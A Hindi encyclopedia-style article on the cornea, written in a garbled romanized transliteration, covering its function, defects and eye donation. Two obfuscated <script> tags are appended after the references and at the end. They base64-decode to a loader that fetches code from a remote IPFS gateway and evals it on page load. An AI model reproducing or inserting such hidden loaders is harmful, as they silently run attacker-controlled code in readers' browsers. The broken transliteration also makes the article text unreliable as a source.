कॉर्निया
[[chitr:Drawing-of-the-Eye.png|thumb|250px|aankh mean k aaurniya ki sthiti]] k aaurniya (aangrezi: Cornea) aankh ka vah paradarshi hissa hai, jis par bahar ka prakash p data hai. yah aankh ka do tihaee bhag hai, jisamean bahari aankh ka rangin hissa, putali aur leans ka prakash dene vala hissa shamil hota hai. k aaurniya mean koee rakt vahika nahian hoti, balki isamean tantrikaoan ka ek jal hota hai. isako poshan dene vale dravy vahi hote haian, jo aansoo aur aankh ke any paradarshi drav ka nirman karate haian.
kary
amataur par k aaurniya ki tulana leans se ki jati hai, lekin inamean kafi aantar hota hai. ek leans keval prakash ko apane par girane ke bad phailane ya siko dane ka kam karata hai, jabaki k aaurniya ka kary isase vyapak hai. k aaurniya vastav mean prakash ko aankh ki putali (netr golak) mean ane deta hai. isaka ubhara hua (uttal) hissa is prakash ko age yani putali aur leans mean bhejata hai. is tarah yah vijan ka kam karata hai. k aaurniya ka guanbadakar hi yah tay karata hai ki kisi vyakti ki aankh mean dooradrishti dosh hai ya nikat drishti dosh. dekhane ke dauran bahari leansoan ka prayog bianb ko aankh ke leans par phokas karana hota hai. isase k aaurniya m aaudiphaid ho sakata hai. aise mean k aaurniya ke pas sthit kaantekt leans isaki motaee ko badhakar ek naya keandr biandu[1] bana deta hai.[2]
dosh
k aaurniya kaimare ki laians ki tarah hota hai, jisase prakash aandar jakar retina par p data hai isake bad chitr banata hai, jise drishti-dhamani vidyut sanket roop mean mastishk ke upayukt bhag tak pahuancha deti hai. k aaurniya kharab hone par retina par chitr nahian banata aur vyakti aandha ho jata hai. kee bar aankhoan mean sankraman, chot ya vitamin e ki kami ke karan bhi k aaurniya kharab ho jate haian. k aaurniya mean dosh ane par usaka upachar shaly-kriya dvara kiya jata hai. ye aaupareshan saralata se ho jata hai. isamean shaly-chikitsak k aaurniya se ju di tantrikaoan ko achetan kar bina rakt bahae is kriya ko poorn kar dete haian. kabhi-kabhi aaupareshan ke dauran k aaurniya par kisi bahari vastu se kharoanch bhi lag jati hai ya phir palak ka hi koee bal tootakar is par kharoanch bana deta hai. is sthiti mean kuchh aankh ki taral davaiyoan se k aaurniya kuchh hi dinoan mean thik ho jata hai.
dan
bahut se log apana k aaurniya dan kar dete haian taki koee unaki aankhoan se yah duniya dekh sake. is k aaurniya dan ko hi asal mean netr dan kaha jata hai. netradan karane vale vyakti ki mrityu ke bad usake k aaurniya ko nikalakar mashin (emake midiyam) ki sahayata se usaki koshika ghanatv dekhi jati hai. ek varg milimitar ke kshetr mean tin hazar se adhik koshikaean hona achchhe k aaurniya ki pahachan hai.
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tika tippani aur sandarbh
- ↑ phokal pvaiant
- ↑ k aaurniya (hindi) hindustan. abhigaman tithi: 14 faravari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>